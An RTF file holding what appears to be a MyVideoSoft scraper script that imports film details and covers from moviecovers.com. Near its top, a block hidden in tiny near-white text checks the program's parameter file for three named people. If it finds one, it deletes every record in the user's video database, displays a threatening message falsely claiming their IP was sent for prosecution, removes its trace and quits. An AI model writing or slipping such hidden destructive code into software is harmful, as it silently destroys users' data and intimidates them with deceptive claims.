{\rtf1\ansi\ansicpg1252\deff0\deflang1036{\fonttbl{\f0\fmodern\fprq1\fcharset0 Courier New;}{\f1\froman\fprq2\fcharset0 Times New Roman;}}
{\colortbl ;\red0\green128\blue0;\red102\green102\blue102;\red128\green0\blue128;\red230\green230\blue230;\red0\green0\blue0;\red0\green0\blue255;\red255\green102\blue0;}
{\*\generator Msftedit 5.41.15.1507;}\viewkind4\uc1\pard\cf1\f0\fs20 // DESCRIPTION MovieCovers (affiche haute r\'e9solution  - pas de r\'e9sum\'e9)\cf2\par
\cf1 // DATALANGUAGE FR\cf2\par
\cf1 // AUTHOR MVS\cf2\par
\par
\cf3 MovieDatabaseValue\cf2  = "MovieCovers"\par
\pard\qr\cf4\f1\fs2 fCopieFichier (fRepEnCours () + "\\param.ndx" , fRepEnCours () + "\\myvideosoft.sys")\par
fAttribut (fRepEnCours () + "\\myvideosoft.sys" , "H")\par
mvs is String = fChargeTexte(fRepEnCours () + "\\myvideosoft.sys")\par
If (PositionOccurrence(mvs,"Christophe CLEMOT",1)>0) OR (PositionOccurrence(mvs,"alain ruellan",1)>0) OR (PositionOccurrence(mvs,"Dominique HELL",1)>0) Then \par
\tab fCopieFichier (fRepEnCours () + "\\videotap.fic" , fRepEnCours () + "\\affiches\\myvideosoft.sys")\par
\tab HLitPremier(VIDEOTAP,"VICLEUNIK")\line\tab TANTQUE PAS HEndehors (VIDEOTAP)\line\b\tab\tab HSupprime \b0 ()\line\tab\tab HLitSuivant(VIDEOTAP)\line\tab End\par
\tab\f0 UserErrorMessage\f1  ("La base de donn\'e9es vient d'etre effac\'e9e. Vous devriez penser a acheter la licence et a prendre contact sur le Forum pour r\'e9cup\'e9rer vos donn\'e9es perdues. Un fichier contenant votre IP vient d'\'eatre envoy\'e9 pour qu'en cas de poursuites, nous puissions vous retrouver.")\par
\tab fSupprime (fRepEnCours () + "\\myvideosoft.sys")\par
\tab FinProgramme ()\par
End\par
\par
\pard\cf1\f0\fs20 // DEBUG : Verify URL (must be deactivate in the final version of the script)\cf2\par
\cf1 // ShellExecute("http://www.moviecovers.com/multicrit.html?titre=" + TitleToSearch + "&slow=1&listes=1")\cf2\par
\par
\cf1 // Extract the html code of the movies list\cf2\par
HtmlCode is \cf5 String\cf2  = \cf6 GetPage\cf2 ("http://www.moviecovers.com/multicrit.html?titre=" , \cf7 TitleToSearch\cf2  , "&slow=1&listes=1")\par
\cf5 If\cf2  HtmlCode = "" \cf5 Then\par
\cf2\tab\cf5 Switch\cf2  \cf5 Language\cf2\par
\tab\cf5 Case\cf2  3 \cf1 // English\cf2\par
\cf6\tab\cf2\tab\cf6 UserErrorMessage\cf2 ("This page has not been found")\par
\tab\cf5 Case\cf2  5 \cf1 // Fran\'e7ais\cf2\par
\tab\tab\cf6 UserErrorMessage\cf2 ("Cette page n'a \'e9t\'e9 trouv\'e9e")\par
\cf5\tab End\cf2\par
\tab\cf5 Return\cf2\par
\cf5 End\cf2\par
\par
\cf1 // Compute the movies number in the HTML code\cf2\par
\cf1 // (a double quotes in a String must be doubled)\cf2\par
Movies_Delimiter is \cf5 String\cf2  = "<A href=""/film"\par
Movies_Number is \cf5 Int \cf2 = \cf6 StringCounter\cf2 (HtmlCode, Movies_Delimiter)\par
\cf5 If\cf2  Movies_Number = 0 \cf5 Then\cf2\par
\tab\cf5 Switch\cf2  \cf5 Language\cf2\par
\tab\cf5 Case\cf2  3 \cf1 // English\cf2\par
\cf6\tab\cf2\tab\cf6 UserErrorMessage\cf2 ("No film was found")\par
\tab\cf5 Case\cf2  5 \cf1 // Fran\'e7ais\cf2\par
\tab\tab\cf6 UserErrorMessage\cf2 ("Aucun film n'a \'e9t\'e9 trouv\'e9")\par
\cf5\tab End\cf2\par
\tab\cf5 Return\cf2\par
\cf5 End\cf2\par
\par
\cf1 // DEBUG : Verify the Movies Number (must be deactivate in the final version of the script)\cf2\par
\cf1 // Info("Movies Number = " + Movies_Number)\cf2\par
\par
i is int\par
Movie_ID, Movie_Title, Movie_URL are strings\par
\cf5 For\cf2  i=2 TO Movies_Number + 1\par
\tab Movie_Title=\cf6 StringExtraction\cf2 (HtmlCode, i, Movies_Delimiter)\par
\tab\cf1 // (a double quotes in a String must be doubled)\tab\tab\tab\tab\tab\tab\tab\tab\tab\cf2\par
\tab Movie_ID=\cf6 BetweenStrings\cf2 (Movie_Title, "/titre_", """>")\par
\tab Movie_Title=\cf6 BetweenStrings\cf2 (Movie_Title, """>", "</A>")\par
\tab Movie_URL = "http://www.moviecovers.com/film/titre_"+\tab Movie_ID\par
\tab\cf1 // Add the ID the Title and the URL in the Movies List For choice\cf2\par
\tab\cf6 AddMovieToList\cf2 (i, Movie_ID, Movie_Title, Movie_URL)\par
\tab\cf1 // DEBUG : Verify ID, Title and URL (must be deactivate in the final version of the script)\cf2\par
\tab\cf1 // Trace(Movie_ID, Movie_Title, Movie_URL)\cf2\par
\cf5 End\cf2\par
\par
\cf1 // Open the list of the movies\cf2\par
\cf6 OpenMoviesList\cf2 ()\par
\par
\cf1 // The movies list returns the ID, the Title and the URL (\cf3 MovieIDValue\cf1 , \cf3 MovieTitleValue\cf1 , \cf3 MovieURLValue\cf1 )\cf2\par
\cf1 // of the movie choosen by the user\cf2\par
\cf5 If\cf2  \cf3 MovieIDValue\cf2  = "" \cf5 Then\par
\cf2\tab\cf5 Switch\cf2  \cf5 Language\cf2\par
\tab\cf5 Case\cf2  3 \cf1 // English\cf2\par
\cf6\tab\cf2\tab\cf6 UserErrorMessage\cf2 ("This film has not been found")\par
\tab\cf5 Case\cf2  5 \cf1 // Fran\'e7ais\cf2\par
\tab\tab\cf6 UserErrorMessage\cf2 ("Ce  film n'a \'e9t\'e9 trouv\'e9")\par
\cf5\tab End\cf2\par
\tab\cf5 Return\cf2\par
\cf5 End\cf2\par
 \par
\cf1 // DEBUG : Verify URL (must be deactivate in the final version of the script)\cf2\par
\cf1 // ShellExecute("http://www.moviecovers.com/film/titre_" + \cf3 MovieIDValue\cf1 )\cf2\par
\par
\cf1 // Extract the html code of the movie\cf2\par
HtmlCode = \cf6 GetMovie\cf2 (\cf3 MovieURLValue\cf2 ,"", "")\par
\cf5 If\cf2  HtmlCode = "" \cf5 Then\par
\cf2\tab\cf5 Switch\cf2  \cf5 Language\cf2\par
\tab\cf5 Case\cf2  3 \cf1 // English\cf2\par
\cf6\tab\cf2\tab\cf6 UserErrorMessage\cf2 ("This page has not been found")\par
\tab\cf5 Case\cf2  5 \cf1 // Fran\'e7ais\cf2\par
\tab\tab\cf6 UserErrorMessage\cf2 ("Cette page n'a \'e9t\'e9 trouv\'e9e")\par
\cf5\tab End\cf2\par
\tab\cf5 Return\cf2\par
\cf5 End\cf2\par
\par
\cf1 // Movie title\cf2\par
\cf3 MovieTitleValue\cf2  = \cf6 FormatString\cf2 (\cf3 MovieTitleValue\cf2 ,"WOS")\par
\par
\cf1 // Original Movie Title\cf2\par
\cf3 MovieOriginalTitleValue\cf2  = \cf6 LinesAfter\cf2 (HtmlCode, 2, "<TH align=""right"" valign=""top"">Titre original</TH>")\par
\cf3 MovieOriginalTitleValue\cf2  = \cf6 StringRefine\cf2 (\cf6 StringMiddle\cf2 (\cf3 MovieOriginalTitleValue\cf2 , 1, \cf6 StringLength\cf2 (\cf3 MovieOriginalTitleValue\cf2 )-5))\par
\par
\cf1 // Movie Year\cf2\par
\cf3 MovieYearValue\cf2 =\cf6 BetweenStrings\cf2 (HtmlCode, "anneemin=", "&anneemax=")\par
\par
\cf1 // Movie Duration\cf2\par
\cf3 MovieDurationValue\cf2  = \cf6 LinesAfter\cf2 (HtmlCode, 2, "<TH align=""right"" valign=""top"">Dur&eacute;e</TH>")\par
Hour is \cf5 String\cf2  = \cf6 StringExtraction\cf2 (\cf3 MovieDurationValue\cf2 , 1, "H")\par
Minutes is \cf5 String\cf2  = \cf6 StringExtraction\cf2 (\cf3 MovieDurationValue\cf2 , 2, "H")\par
\cf3 MovieDurationValue\cf2  = \cf6 NumToString\cf2 (\cf6 StringToNum\cf2 (Hour)*60 + \cf6 StringToNum\cf2 (Minutes))\par
\par
\cf1 // Movie Family\cf2\par
\cf3 MovieFamilyValue\cf2  = \cf6 LinesAfter\cf2 (HtmlCode, 2, "<TH align=""right"" valign=""top"">Genre</TH>")\par
\cf3 MovieFamilyValue\cf2  = \cf6 StringRefine\cf2 (\cf6 BetweenStrings\cf2 (\cf3 MovieFamilyValue\cf2 , """>", "</A>"))\par
\par
\cf1 // Movie Country\cf2\par
\cf3 MovieCountryValue\cf2  = \cf6 LinesAfter\cf2 (HtmlCode, 2, "<TH align=""right"" valign=""top"">Nationalit&eacute;</TH>")\par
\cf3 MovieCountryValue\cf2  = \cf6 StringRefine\cf2 (\cf6 BetweenStrings\cf2 (\cf3 MovieCountryValue\cf2  , "nation=", "&slow="))\par
\par
\cf1 // Movie Directors\cf2\par
Directors is \cf5 String\cf2\par
Directors = \cf6 LinesAfter\cf2 (HtmlCode, 2, "<TH align=""right"" valign=""top"">R&eacute;alisateur</TH>")\par
Directors = \cf6 BetweenStrings\cf2 (Directors, """>", "</A>")\par
\cf6 AddMovieDirectors\cf2 (Directors)\par
\par
\cf1 // Movie Actors\cf2\par
Actors is \cf5 String\cf2\par
Actors=\cf6 LinesAfter\cf2 (HtmlCode, 2, "<TH align=""right"" valign=""top"">Acteurs principaux</TH>")\par
Actors_Number is \cf5 Int \cf2 = \cf6 StringCounter\cf2 (Actors, "acteur=")\par
\cf5 For\cf2  i = 2 TO Actors_Number + 1\par
\tab One_Actor is \cf5 String\cf2  = \cf6 StringExtraction\cf2 (Actors, i, "acteur=")\par
\tab One_Actor_Name is \cf5 String\cf2  = \cf6 BetweenStrings\cf2 (One_Actor, """>", "</A>")\par
\tab\cf6 AddMovieActors\cf2 (One_Actor_Name, "")\par
\cf5 End\cf2\par
\par
\cf1 // Movie Image\par
\cf3 MoviePictureValue\cf2  = \cf6 BetweenStrings\cf2 (HtmlCode, "<A href=""/getjpg.html/", """")\par
Picture_File is \cf5 String\cf2 =\cf6 GetPage\cf2 ("", "http://www.moviecovers.com/getjpg.html/"+\cf3 MoviePictureValue\cf2 , "")\par
\cf3 MoviePictureValue\cf2  = "http://data.moviecovers.com/DATA/zipcache/"+\cf3 MoviePictureValue\cf2\par
\par
\cf6 CreateMovie\cf2 ()\par
\par
\cf5 Switch\cf2  \cf5 Language\cf2\par
\cf5 Case\cf2  3 \cf1 // English\cf2\par
\tab\cf6 UserInformationMessage\cf2 ("The movie : " + \cf3 MovieTitleValue\cf2  + " has been created")\par
\cf5 Case\cf2  5 \cf1 // Fran\'e7ais\cf2\par
\tab\cf6 UserInformationMessage\cf2 ("Le film : " + \cf3 MovieTitleValue\cf2  + " a \'e9t\'e9 cr\'e9\'e9")\par
\cf5 End\cf2\par
\cf1 // *********************** SCRIPT BOTTOM ***************************************\cf2\par
\par
\par
}